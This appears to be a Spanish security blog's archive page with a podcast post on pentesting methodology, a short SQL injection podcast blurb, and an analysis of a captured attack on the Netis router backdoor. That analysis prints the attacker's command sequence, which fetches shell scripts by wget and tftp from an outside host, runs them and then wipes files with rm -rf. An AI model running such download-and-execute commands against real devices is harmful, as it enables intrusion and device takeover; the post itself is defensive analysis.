Archivo de la etiqueta: ataque

Podcast – 27 – Pentesting

Podcast – 27 – Pentesting

 
 
00:00 /
 
1X
 

El pentesting es un tipo de ataques a un sistema en búsqueda de localizar, y explotar, vulnerabilidades de un sistema informático. Así pues los pentester buscan debilidades para ‘penetrar en el sistema’ (de ahí el nombre).

pentesting

PENTESTING. Fuente imagen:Cuculmeca

Lo primero indicar que en España realizar este tipo de ataques es ilegal salvo que lo hayas acordado con el propietario del sistema. Así que si cuidado con lo que hacemos… que puede tener consecuencias 😉
Cuando se contrata un pentesting tanto la empresa “víctima” como el analista acuerdan diferentes puntos (qué se puede atacar exactamente, qué técnicas, el horario de los ataques, si se permite tirar el servicio o no se puede provocar DoS), etc. Esto debe aclararse y firmarse por escrito antes de empezar este tipo de consultorías para evitar futuros problemas legales.
Los tipos de ataque de pentesting se categorizan por:

  • De “caja negra” donde el consultor externo no conoce nada del sistema a atacar (sólo la dirección web, ). Se utiliza este tipo de análisis para simular al máximo la situación real en la que un atacante externo quisiera entrar en nuestro sistema. Este tipo de ataque requiere de especialistas más formados y la validez de este resultado depende en gran medida de la capacidad del auditor.
  • De “caja blanca” donde el auditor externo tiene acceso a toda la información sobre la aplicación(arquitectura, servicios usados e incluso el código fuente). El análisis puede ser mucho más profundo y permite preparar y diseñar pruebas específicas de tal forma que se obtenga un resultado más fiable y auditable por un tercero externo.
  • Las de “caja gris” son un punto intermedio entre las dos anteriores donde el atacante recibe parte de la información pero no toda(p.e. tiene el diseño lógico de la aplicación pero desconoce el sistema operativo de los servidores).

Si bien se han desarrollado diferentes metodologías que han buscado unificar y procedimientar este tipo de ataque (sobretodo de cara a la aplicación de normativas y estándares) siendo los más famosos Kill-Chain (una metodología de origen militar), OSSTMM, ISSAF, la guía OWASP (únicamente de aplicaciones web) o la Penetration Testing Framework; la verdad es que el pentesting sigue siendo un proceso manual que depende en gran medida de la experiencia previa, capacidad y pericia del auditor.

Micro con feed

Fuente imagen:PerfectYourPodcast

Aunque todas las metodologías mencionadas antes tienen diferencias podemos decir que en todas tendrían, de una forma u otra, las siguientes fases:

  1. Preparación
    Esta sería una fase teórica de preparar los equipos, tanto hardware como software y equipos humano para realizar el ataque. También se puede incluir en esta fase la negociación del alcance y objetivo de la auditoria con el cliente.
  2. Recopilación de información
    En esta fase el atacante busca obtener la máxima cantidad de información posible del objetivo. Se pueden utilizar métodos pasivos o activos, búsqueda de información pública (dominios, URL, servicios publicados, direcciones físicas, noticias de empresa [si hay una noticia de que la empresa víctima usa Office365 y tenemos una pista para empezar], etc.). El atacante también obtendrá información con acciones activas como pueden ser un escaneo de puertos o consultas DNS.
    Esta fase es probablemente la menos técnica y divertida pero es la base imprescindible para las siguientes fases.
  3. Análisis de vulnerabilidades
    Una vez obtenida toda la información posible toca buscar las debilidades de los sistemas a analizar. Como se puede obtener las técnicas y estrategias usadas serán diferentes en función del objetivo a analizar: no tendrán las mismas vulnerabilidades una aplicación web que los servidores FTP o de correo corporativo. En función del alcance del ataque (que siempre hay que aclarar antes de empezar) los objetivos y estrategias variarán.
    Esta es la fase donde la calidad del auditor destaca especialmente.
  4. Explotación de vulnerabilidades
    En esta fase, una vez localizada la vulnerabilidad se procede a su aprovechamiento de tal forma que se demuestre la viabilidad del ataque y por ende la posibilidad de intrusión exterior. Esta es probablemente la fase más delicada ya que puede implicar la pérdida de servicio por parte del cliente o la extracción de información confidencial (para desmostrar que se ha podido acceder). Nuevamente recordar que antes de lanzar un pentest hay que
    negociar con el cliente qué se puede/debe hacer y cuáles serán las pruebas que demuestren que el atacante ha podido entrar.
  5. Documentación
    El último, e imprescindible paso, es documentar de forma clara y con las pruebas obtenidas en la explotación de las vulnerabilidades de tal forma que se demuestren los problemas y se pueda informar al cliente de cuáles son y qué debe hacer para remediarlos.

 

Podcast – 27 – Pentesting

Análisis del intento de explotación de puerta trasera en router Netis

Router NetisEn 2014 se descubrió una puerta trasera en los routers de marca Netis que permitía el acceso desde su interfaz WAN (normalmente accesible desde Internet).

Hace una semanas llegó un ataque de explotación de esta puerta trasera, así que vamos a analizarlo en esta entrada. Obviamente se trataba de un ataque automatizado ya que recorrió una a una las direcciones IP públicas y no tengo ningún router Netis.

Como entenderéis he modificado el payload y las direcciones IP para evitar que alguien pueda hacer un mal uso 😉 Indicar igualmente que el ataque fue el sábado noche y cuando el lunes lo intenté analizar resultó que la IP ya no contenía los archivos indicados en la instrucción, así que no pude analizarlos. Como curiosidad indicar que la IP a la que se hacía referencia estaba ubicada en Brooklyn (Nueva York, USA).

En la captura inferior podemos ver que la petición, en formato HTML, consta de una carga previa de información (esta cadena ya está modificada) para posteriormente indicar las acciones que debe realizar el router (sección en lila).
Ataque Netis I

Sabemos que estos routers utilizan un sistema operativo Linux de base, así que revisemos las instrucciones (marcadas en lila) con un formato limpio (sin los caracteres de codificación HTML).

Ataque Netis II

Instrucciones del atacante

Ahora que ya tenemos un formato más legible, recordando que en los sistemas Linux el símbolo punto y coma (;) permite separar instrucciones que se ejecutarán una detrás de otra veamos qué peticiones hace el atacante al router Netis:

  1. wget http://10.10.10.10/akc.sh
  2. sh akc.sh
  3. rm -rf ack.sh
  4. tftp -r nfz.sh -g 10.10.10.10
  5. sh nfz.sh
  6. tftp 10.10.10.10 -c get nig.sh
  7. sh nig.sh
  8. rm -rf nfz.sh nig.sh akc.sh
  9. rm -rf *

Como vemos el primer paso (1) es descargarse el fichero “akc.sh” desde un servidor externo mediante protocolo HTTP para después ejecutarlo (2) y borrar dicho archivo (3).

Posteriormente podemos ver como se descarga mediante tftp (4 y 6) y ejecuta dichos archivos (5 y 7). Es curioso ver cómo utiliza dos formatos de instrucción diferentes para bajarse los archivos. Igualmente resulta curioso que la descarga del primer archivo sea mediante el comando wget mientras que los siguientes se realicen mediante TFTP.

Una vez termina la ejecución elimina los tres archivos descargados (8), aunque se supone que akc.sh ya lo había borrado antes (3).

Finalmente borra todos los archivos que haya en la ubicación (9) y sus directorios eliminando cualquier archivo temporal que se haya podido crear y borrando totalmente sus huellas.

Análisis del ataque

Atacando un router

Atacando un router.
Fuente imagen: We Live Security

Lamentablemente no pude hacerme con los scripts que se descargaba para analizarlos y ver qué hacían realmente, por lo que el análisis no puede ser más profundo y me tendré que conformar con las acciones indicadas en la propia URL.

El hecho de que utilice el comando wget para la primera descarga mientras que utilice tftp puede llevarnos a pensar que el primer script (akc.sh) realice la instalación del cliente tftp en el sistema. ¿Por qué sería preferible usar TFPT para el atacante para los siguientes scripts? Lo más probable es que la dirección IP desde donde se descargaba los scripts fuera un servidor web previamente infectado por lo que reduciendo el número de peticiones HTTP se reducen las trazas en los logs del servidor web que puedan descubrir la infección. Así que podría tratarse de un método para prolongar al máximo el uso de dicho servidor infectado.

Igualmente resulta extraño el uso de dos instrucciones diferentes (4 y 6) para descargar los scripts, lo cual nos llevaría a pensar que se ha reutilizado parte del código de otro script ya confeccionado previamente.

Cabe indicar que el orden de borrado de los scripts descargados es igualmente interesante: se preocupa de eliminar el primero de forma inmediata (3) mientras que los otros dos los deja para el final (8) e incluso lanza un borrado general del directorio (9). El hecho de que en la segunda instrucción de borrado (8) aparezca nuevamente el script akc.sh podría ser bien un fallo de diseño o bien un método para asegurarse el borrado de dicho script. Si pensamos que el atacante quiere asegurarse el borrado del script akc.sh debemos deducir que en dicho script se encuentra información que quiere asegurarse su eliminación (¿algún nombre de usuario o  contraseña?).

Al no haber podido analizar los scripts que se descargaba no podemos ver qué acción realizaba el router (¿unirse a una botnet?¿crear otra puerta trasera controlada por el atacante?¿propagar el ataque desde el propio equipo?), si bien queda claro por la última instrucción de borrado completo del directorio (9) que dichos scripts y cualquier fichero temporal creado no son necesarios una vez ha terminado el ataque.

¿Qué creéis que pueden ser estos script?

Podcast – 17 – Inyección SQL

Podcast – 17 – Inyección SQL

 
 
00:00 /
 
1X
 
Micro con feed

Fuente imagen:PerfectYourPodcast

En el capítulo de hoy intentaré explicar porqué aparecen las vulnerabilidades de Inyección SQL en las aplicaciones web, en base al funcionamiento general de dichas aplicaciones. Quizás antes de escucharme te interese leerte el artículo de la Wikipedia donde lo explican con un ejemplo bastante claro.

Igualmente explico como una correcta fortificación de la aplicación web y de la base de datos que corre detrás, puede minimizar el daño producido por este tipo de ataques.

Los ataques Blind SQL Injection quedan para otro día 🙂

Descarga directa.